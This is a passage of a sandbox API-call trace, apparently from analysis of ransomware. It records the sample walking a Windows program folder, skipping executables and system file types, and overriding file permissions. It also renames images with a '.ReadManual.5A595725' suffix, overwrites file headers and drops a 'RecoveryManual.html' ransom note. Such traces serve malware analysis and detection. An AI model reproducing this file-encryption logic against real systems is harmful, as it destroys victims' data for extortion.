lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" [0254.464] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.ReadManual.5A595725" [0254.464] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png.ReadManual.5A595725") returned 93 [0254.464] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37513320911) returned 1 [0254.464] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png")) returned 0x20 [0254.465] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.465] GetLastError () returned 0x5 [0254.465] GetNamedSecurityInfoW () returned 0x0 [0254.465] SetNamedSecurityInfoW () returned 0x0 [0254.466] SetNamedSecurityInfoW () returned 0x0 [0254.467] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.467] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0254.467] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0254.467] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xca) returned 1 [0254.468] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.468] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.475] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.475] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0254.475] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.476] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37514433608) returned 1 [0254.476] CloseHandle (hObject=0x1a0) returned 1 [0254.476] SetSecurityInfo () returned 0x5 [0254.476] SetSecurityInfo () returned 0x5 [0254.476] LocalFree (hMem=0x674d38) returned 0x0 [0254.476] CloseHandle (hObject=0x184) returned 1 [0254.476] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\" [0254.476] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\RecoveryManual.html" [0254.476] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0254.477] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0254.478] CloseHandle (hObject=0x184) returned 1 [0254.478] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0254.478] lstrcpyW (in: lpString1=0x6ab90c, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0254.478] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.478] StrStrIW (lpFirst="203x8subpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.478] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.478] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.478] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.478] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.478] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.478] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.478] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.478] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.478] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.478] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.478] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.478] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.478] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.479] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.479] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" [0254.479] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.ReadManual.5A595725" [0254.479] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png.ReadManual.5A595725") returned 95 [0254.479] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37514742256) returned 1 [0254.479] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png")) returned 0x20 [0254.479] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.479] GetLastError () returned 0x5 [0254.479] GetNamedSecurityInfoW () returned 0x0 [0254.479] SetNamedSecurityInfoW () returned 0x0 [0254.480] SetNamedSecurityInfoW () returned 0x0 [0254.481] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.481] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2820) returned 1 [0254.481] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb04, lpName=0x0) returned 0x1a0 [0254.481] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0254.482] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.482] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.492] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.493] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb04) returned 0x2f0000 [0254.493] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.493] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37516159496) returned 1 [0254.493] CloseHandle (hObject=0x1a0) returned 1 [0254.493] SetSecurityInfo () returned 0x5 [0254.493] SetSecurityInfo () returned 0x5 [0254.493] LocalFree (hMem=0x674d38) returned 0x0 [0254.493] CloseHandle (hObject=0x184) returned 1 [0254.494] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.494] lstrcpyW (in: lpString1=0x6ab90c, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0254.494] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.494] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.494] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.494] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.494] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.494] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.494] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.494] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.494] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.494] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.494] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.494] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.494] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.494] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.494] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.494] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.494] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" [0254.494] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0254.494] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 108 [0254.494] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37516309864) returned 1 [0254.494] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png")) returned 0x20 [0254.495] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.495] GetLastError () returned 0x5 [0254.495] GetNamedSecurityInfoW () returned 0x0 [0254.495] SetNamedSecurityInfoW () returned 0x0 [0254.496] SetNamedSecurityInfoW () returned 0x0 [0254.497] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.497] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0254.497] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0254.497] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe8) returned 1 [0254.498] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.498] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.499] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.499] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0254.500] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.500] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37516845356) returned 1 [0254.500] CloseHandle (hObject=0x1a0) returned 1 [0254.500] SetSecurityInfo () returned 0x5 [0254.500] SetSecurityInfo () returned 0x5 [0254.500] LocalFree (hMem=0x674d38) returned 0x0 [0254.500] CloseHandle (hObject=0x184) returned 1 [0254.501] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.501] lstrcpyW (in: lpString1=0x6ab90c, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0254.501] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.501] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.501] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.501] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.501] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.501] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.501] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.501] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.501] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.501] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.501] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.501] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.501] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.501] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.501] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.501] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.501] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" [0254.501] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0254.501] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 114 [0254.501] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37517003069) returned 1 [0254.501] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png")) returned 0x20 [0254.501] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.502] GetLastError () returned 0x5 [0254.502] GetNamedSecurityInfoW () returned 0x0 [0254.502] SetNamedSecurityInfoW () returned 0x0 [0254.502] SetNamedSecurityInfoW () returned 0x0 [0254.504] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.504] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0254.504] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0254.504] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf4) returned 1 [0254.505] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.505] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.506] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.507] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0254.507] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.507] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37517546241) returned 1 [0254.507] CloseHandle (hObject=0x1a0) returned 1 [0254.507] SetSecurityInfo () returned 0x5 [0254.507] SetSecurityInfo () returned 0x5 [0254.507] LocalFree (hMem=0x674d38) returned 0x0 [0254.507] CloseHandle (hObject=0x184) returned 1 [0254.508] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.508] lstrcpyW (in: lpString1=0x6ab90c, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0254.508] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.508] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.508] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.508] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.508] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.508] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.508] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.508] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.508] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.508] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.508] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.508] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.508] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.508] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.508] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.508] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.508] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" [0254.508] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0254.508] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 109 [0254.508] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37517707231) returned 1 [0254.508] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png")) returned 0x20 [0254.509] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.509] GetLastError () returned 0x5 [0254.509] GetNamedSecurityInfoW () returned 0x0 [0254.509] SetNamedSecurityInfoW () returned 0x0 [0254.510] SetNamedSecurityInfoW () returned 0x0 [0254.511] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD 